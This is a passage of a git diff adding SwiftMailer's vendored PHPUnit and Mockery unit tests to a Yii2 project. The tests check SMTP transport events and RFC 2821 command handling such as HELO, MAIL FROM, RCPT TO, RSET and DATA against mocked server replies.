->andReturn(false); + $evt->shouldReceive('setResult') + ->once() + ->with(Swift_Events_SendEvent::RESULT_FAILED); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(0, $smtp->send($message)); + } + + public function testSendEventHasResultTentativeIfSomeFailures() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + $smtp = $this->_getTransport($buf, $dispatcher); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('chris@swiftmailer.org' => null)); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array( + 'mark@swiftmailer.org' => 'Mark', + 'chris@site.tld' => 'Chris', + )); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn("500 Not now\r\n"); + $dispatcher->shouldReceive('createSendEvent') + ->zeroOrMoreTimes() + ->with($smtp, \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'sendPerformed'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->zeroOrMoreTimes() + ->andReturn(false); + $evt->shouldReceive('setResult') + ->once() + ->with(Swift_Events_SendEvent::RESULT_TENTATIVE); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(1, $smtp->send($message)); + } + + public function testSendEventHasResultSuccessIfNoFailures() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + $smtp = $this->_getTransport($buf, $dispatcher); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('chris@swiftmailer.org' => null)); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array( + 'mark@swiftmailer.org' => 'Mark', + 'chris@site.tld' => 'Chris', + )); + $dispatcher->shouldReceive('createSendEvent') + ->zeroOrMoreTimes() + ->with($smtp, \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'sendPerformed'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->zeroOrMoreTimes() + ->andReturn(false); + $evt->shouldReceive('setResult') + ->once() + ->with(Swift_Events_SendEvent::RESULT_SUCCESS); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(2, $smtp->send($message)); + } + + public function testCancellingEventBubbleBeforeSendStopsEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_SendEvent')->shouldIgnoreMissing(); + $smtp = $this->_getTransport($buf, $dispatcher); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('chris@swiftmailer.org' => null)); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('mark@swiftmailer.org' => 'Mark')); + $dispatcher->shouldReceive('createSendEvent') + ->zeroOrMoreTimes() + ->with($smtp, \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'beforeSendPerformed'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->atLeast()->once() + ->andReturn(true); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(0, $smtp->send($message)); + } + + public function testStartingTransportDispatchesTransportChangeEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportChangeEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $dispatcher->shouldReceive('createTransportChangeEvent') + ->atLeast()->once() + ->with($smtp) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'transportStarted'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->atLeast()->once() + ->andReturn(false); + + $this->_finishBuffer($buf); + $smtp->start(); + } + + public function testStartingTransportDispatchesBeforeTransportChangeEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportChangeEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $dispatcher->shouldReceive('createTransportChangeEvent') + ->atLeast()->once() + ->with($smtp) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'beforeTransportStarted'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->atLeast()->once() + ->andReturn(false); + + $this->_finishBuffer($buf); + $smtp->start(); + } + + public function testCancellingBubbleBeforeTransportStartStopsEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportChangeEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $dispatcher->shouldReceive('createTransportChangeEvent') + ->atLeast()->once() + ->with($smtp) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'beforeTransportStarted'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->atLeast()->once() + ->andReturn(true); + + $this->_finishBuffer($buf); + $smtp->start(); + + $this->assertFalse($smtp->isStarted(), + '%s: Transport should not be started since event bubble was cancelled' + ); + } + + public function testStoppingTransportDispatchesTransportChangeEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportChangeEvent')->shouldIgnoreMissing(); + $smtp = $this->_getTransport($buf, $dispatcher); + + $dispatcher->shouldReceive('createTransportChangeEvent') + ->atLeast()->once() + ->with($smtp) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'transportStopped'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->stop(); + } + + public function testStoppingTransportDispatchesBeforeTransportChangeEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportChangeEvent')->shouldIgnoreMissing(); + $smtp = $this->_getTransport($buf, $dispatcher); + + $dispatcher->shouldReceive('createTransportChangeEvent') + ->atLeast()->once() + ->with($smtp) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'beforeTransportStopped'); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->stop(); + } + + public function testCancellingBubbleBeforeTransportStoppedStopsEvent() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportChangeEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $hasRun = false; + $dispatcher->shouldReceive('createTransportChangeEvent') + ->atLeast()->once() + ->with($smtp) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'beforeTransportStopped') + ->andReturnUsing(function () use (&$hasRun) { + $hasRun = true; + }); + $dispatcher->shouldReceive('dispatchEvent') + ->zeroOrMoreTimes(); + $evt->shouldReceive('bubbleCancelled') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$hasRun) { + return $hasRun; + }); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->stop(); + + $this->assertTrue($smtp->isStarted(), + '%s: Transport should not be stopped since event bubble was cancelled' + ); + } + + public function testResponseEventsAreGenerated() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_ResponseEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $dispatcher->shouldReceive('createResponseEvent') + ->atLeast()->once() + ->with($smtp, \Mockery::any(), \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->atLeast()->once() + ->with($evt, 'responseReceived'); + + $this->_finishBuffer($buf); + $smtp->start(); + } + + public function testCommandEventsAreGenerated() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_CommandEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $dispatcher->shouldReceive('createCommandEvent') + ->once() + ->with($smtp, \Mockery::any(), \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'commandSent'); + + $this->_finishBuffer($buf); + $smtp->start(); + } + + public function testExceptionsCauseExceptionEvents() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportExceptionEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $buf->shouldReceive('readLine') + ->atLeast()->once() + ->andReturn("503 I'm sleepy, go away!\r\n"); + $dispatcher->shouldReceive('createTransportExceptionEvent') + ->zeroOrMoreTimes() + ->with($smtp, \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->once() + ->with($evt, 'exceptionThrown'); + $evt->shouldReceive('bubbleCancelled') + ->atLeast()->once() + ->andReturn(false); + + try { + $smtp->start(); + $this->fail('TransportException should be thrown on invalid response'); + } catch (Swift_TransportException $e) { + } + } + + public function testExceptionBubblesCanBeCancelled() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(false); + $evt = $this->getMockery('Swift_Events_TransportExceptionEvent'); + $smtp = $this->_getTransport($buf, $dispatcher); + + $buf->shouldReceive('readLine') + ->atLeast()->once() + ->andReturn("503 I'm sleepy, go away!\r\n"); + $dispatcher->shouldReceive('createTransportExceptionEvent') + ->twice() + ->with($smtp, \Mockery::any()) + ->andReturn($evt); + $dispatcher->shouldReceive('dispatchEvent') + ->twice() + ->with($evt, 'exceptionThrown'); + $evt->shouldReceive('bubbleCancelled') + ->atLeast()->once() + ->andReturn(true); + + $this->_finishBuffer($buf); + $smtp->start(); + } + + // -- Creation Methods + + protected function _createEventDispatcher($stub = true) + { + return $this->getMockery('Swift_Events_EventDispatcher')->shouldIgnoreMissing(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/AbstractSmtpTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/AbstractSmtpTest.php new file mode 100644 index 00000000..626248d0 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/AbstractSmtpTest.php @@ -0,0 +1,1249 @@ +_getBuffer(); + $smtp = $this->_getTransport($buf); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + + $this->_finishBuffer($buf); + try { + $this->assertFalse($smtp->isStarted(), '%s: SMTP should begin non-started'); + $smtp->start(); + $this->assertTrue($smtp->isStarted(), '%s: start() should have started connection'); + } catch (Exception $e) { + $this->fail('220 is a valid SMTP greeting and should be accepted'); + } + } + + public function testBadGreetingCausesException() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("554 I'm busy\r\n"); + $this->_finishBuffer($buf); + try { + $this->assertFalse($smtp->isStarted(), '%s: SMTP should begin non-started'); + $smtp->start(); + $this->fail('554 greeting indicates an error and should cause an exception'); + } catch (Exception $e) { + $this->assertFalse($smtp->isStarted(), '%s: start() should have failed'); + } + } + + public function testStartSendsHeloToInitiate() + { + /* -- RFC 2821, 3.2. + + 3.2 Client Initiation + + Once the server has sent the welcoming message and the client has + received it, the client normally sends the EHLO command to the + server, indicating the client's identity. In addition to opening the + session, use of EHLO indicates that the client is able to process + service extensions and requests that the server provide a list of the + extensions it supports. Older SMTP systems which are unable to + support service extensions and contemporary clients which do not + require service extensions in the mail session being initiated, MAY + use HELO instead of EHLO. Servers MUST NOT return the extended + EHLO-style response to a HELO command. For a particular connection + attempt, if the server returns a "command not recognized" response to + EHLO, the client SHOULD be able to fall back and send HELO. + + In the EHLO command the host sending the command identifies itself; + the command may be interpreted as saying "Hello, I am " (and, + in the case of EHLO, "and I support service extension requests"). + + -- RFC 2281, 4.1.1.1. + + ehlo = "EHLO" SP Domain CRLF + helo = "HELO" SP Domain CRLF + + -- RFC 2821, 4.3.2. + + EHLO or HELO + S: 250 + E: 504, 550 + + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^HELO .*?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 ServerName'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + } catch (Exception $e) { + $this->fail('Starting SMTP should send HELO and accept 250 response'); + } + } + + public function testInvalidHeloResponseCausesException() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^HELO .*?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('504 WTF'."\r\n"); + + $this->_finishBuffer($buf); + try { + $this->assertFalse($smtp->isStarted(), '%s: SMTP should begin non-started'); + $smtp->start(); + $this->fail('Non 250 HELO response should raise Exception'); + } catch (Exception $e) { + $this->assertFalse($smtp->isStarted(), '%s: SMTP start() should have failed'); + } + } + + public function testDomainNameIsPlacedInHelo() + { + /* -- RFC 2821, 4.1.4. + + The SMTP client MUST, if possible, ensure that the domain parameter + to the EHLO command is a valid principal host name (not a CNAME or MX + name) for its host. If this is not possible (e.g., when the client's + address is dynamically assigned and the client does not have an + obvious name), an address literal SHOULD be substituted for the + domain name and supplemental information provided that will assist in + identifying the client. + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("HELO mydomain.com\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 ServerName'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->setLocalDomain('mydomain.com'); + $smtp->start(); + } + + public function testSuccessfulMailCommand() + { + /* -- RFC 2821, 3.3. + + There are three steps to SMTP mail transactions. The transaction + starts with a MAIL command which gives the sender identification. + + ..... + + The first step in the procedure is the MAIL command. + + MAIL FROM: [SP ] + + -- RFC 2821, 4.1.1.2. + + Syntax: + + "MAIL FROM:" ("<>" / Reverse-Path) + [SP Mail-parameters] CRLF + -- RFC 2821, 4.1.2. + + Reverse-path = Path + Forward-path = Path + Path = "<" [ A-d-l ":" ] Mailbox ">" + A-d-l = At-domain *( "," A-d-l ) + ; Note that this form, the so-called "source route", + ; MUST BE accepted, SHOULD NOT be generated, and SHOULD be + ; ignored. + At-domain = "@" domain + + -- RFC 2821, 4.3.2. + + MAIL + S: 250 + E: 552, 451, 452, 550, 553, 503 + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 OK\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + $smtp->send($message); + } catch (Exception $e) { + $this->fail('MAIL FROM should accept a 250 response'); + } + } + + public function testInvalidResponseCodeFromMailCausesException() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('553 Bad'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + $smtp->send($message); + $this->fail('MAIL FROM should accept a 250 response'); + } catch (Exception $e) { + } + } + + public function testSenderIsPreferredOverFrom() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getSender') + ->once() + ->andReturn(array('another@domain.com' => 'Someone')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + public function testReturnPathIsPreferredOverSender() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getSender') + ->once() + ->andReturn(array('another@domain.com' => 'Someone')); + $message->shouldReceive('getReturnPath') + ->once() + ->andReturn('more@domain.com'); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + public function testSuccessfulRcptCommandWith250Response() + { + /* -- RFC 2821, 3.3. + + The second step in the procedure is the RCPT command. + + RCPT TO: [ SP ] + + The first or only argument to this command includes a forward-path + (normally a mailbox and domain, always surrounded by "<" and ">" + brackets) identifying one recipient. If accepted, the SMTP server + returns a 250 OK reply and stores the forward-path. If the recipient + is known not to be a deliverable address, the SMTP server returns a + 550 reply, typically with a string such as "no such user - " and the + mailbox name (other circumstances and reply codes are possible). + This step of the procedure can be repeated any number of times. + + -- RFC 2821, 4.1.1.3. + + This command is used to identify an individual recipient of the mail + data; multiple recipients are specified by multiple use of this + command. The argument field contains a forward-path and may contain + optional parameters. + + The forward-path normally consists of the required destination + mailbox. Sending systems SHOULD not generate the optional list of + hosts known as a source route. + + ....... + + "RCPT TO:" ("" / "" / Forward-Path) + [SP Rcpt-parameters] CRLF + + -- RFC 2821, 4.2.2. + + 250 Requested mail action okay, completed + 251 User not local; will forward to + (See section 3.4) + 252 Cannot VRFY user, but will accept message and attempt + delivery + + -- RFC 2821, 4.3.2. + + RCPT + S: 250, 251 (but see section 3.4 for discussion of 251 and 551) + E: 550, 551, 552, 553, 450, 451, 452, 503, 550 + */ + + //We'll treat 252 as accepted since it isn't really a failure + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + $smtp->send($message); + } catch (Exception $e) { + $this->fail('RCPT TO should accept a 250 response'); + } + } + + public function testMailFromCommandIsOnlySentOncePerMessage() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->never() + ->with("MAIL FROM: \r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + public function testMultipleRecipientsSendsMultipleRcpt() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array( + 'foo@bar' => null, + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(3); + $buf->shouldReceive('readLine') + ->once() + ->with(3) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + public function testCcRecipientsSendsMultipleRcpt() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $message->shouldReceive('getCc') + ->once() + ->andReturn(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(3); + $buf->shouldReceive('readLine') + ->once() + ->with(3) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + public function testSendReturnsNumberOfSuccessfulRecipients() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $message->shouldReceive('getCc') + ->once() + ->andReturn(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('501 Nobody here'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(3); + $buf->shouldReceive('readLine') + ->once() + ->with(3) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(2, $smtp->send($message), + '%s: 1 of 3 recipients failed so 2 should be returned' + ); + } + + public function testRsetIsSentIfNoSuccessfulRecipients() + { + /* --RFC 2821, 4.1.1.5. + + This command specifies that the current mail transaction will be + aborted. Any stored sender, recipients, and mail data MUST be + discarded, and all buffers and state tables cleared. The receiver + MUST send a "250 OK" reply to a RSET command with no arguments. A + reset command may be issued by the client at any time. + + -- RFC 2821, 4.3.2. + + RSET + S: 250 + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('503 Bad'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RSET\r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(0, $smtp->send($message), + '%s: 1 of 1 recipients failed so 0 should be returned' + ); + } + + public function testSuccessfulDataCommand() + { + /* -- RFC 2821, 3.3. + + The third step in the procedure is the DATA command (or some + alternative specified in a service extension). + + DATA + + If accepted, the SMTP server returns a 354 Intermediate reply and + considers all succeeding lines up to but not including the end of + mail data indicator to be the message text. + + -- RFC 2821, 4.1.1.4. + + The receiver normally sends a 354 response to DATA, and then treats + the lines (strings ending in sequences, as described in + section 2.3.7) following the command as mail data from the sender. + This command causes the mail data to be appended to the mail data + buffer. The mail data may contain any of the 128 ASCII character + codes, although experience has indicated that use of control + characters other than SP, HT, CR, and LF may cause problems and + SHOULD be avoided when possible. + + -- RFC 2821, 4.3.2. + + DATA + I: 354 -> data -> S: 250 + E: 552, 554, 451, 452 + E: 451, 554, 503 + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("DATA\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('354 Go ahead'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + $smtp->send($message); + } catch (Exception $e) { + $this->fail('354 is the expected response to DATA'); + } + } + + public function testBadDataResponseCausesException() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("DATA\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('451 Bad'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + $smtp->send($message); + $this->fail('354 is the expected response to DATA (not observed)'); + } catch (Exception $e) { + } + } + + public function testMessageIsStreamedToBufferForData() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("DATA\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('354 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("\r\n.\r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 OK'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + public function testBadResponseAfterDataTransmissionCausesException() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->once() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->once() + ->andReturn(array('foo@bar' => null)); + $buf->shouldReceive('write') + ->once() + ->with("DATA\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('354 OK'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("\r\n.\r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('554 Error'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + $smtp->send($message); + $this->fail('250 is the expected response after a DATA transmission (not observed)'); + } catch (Exception $e) { 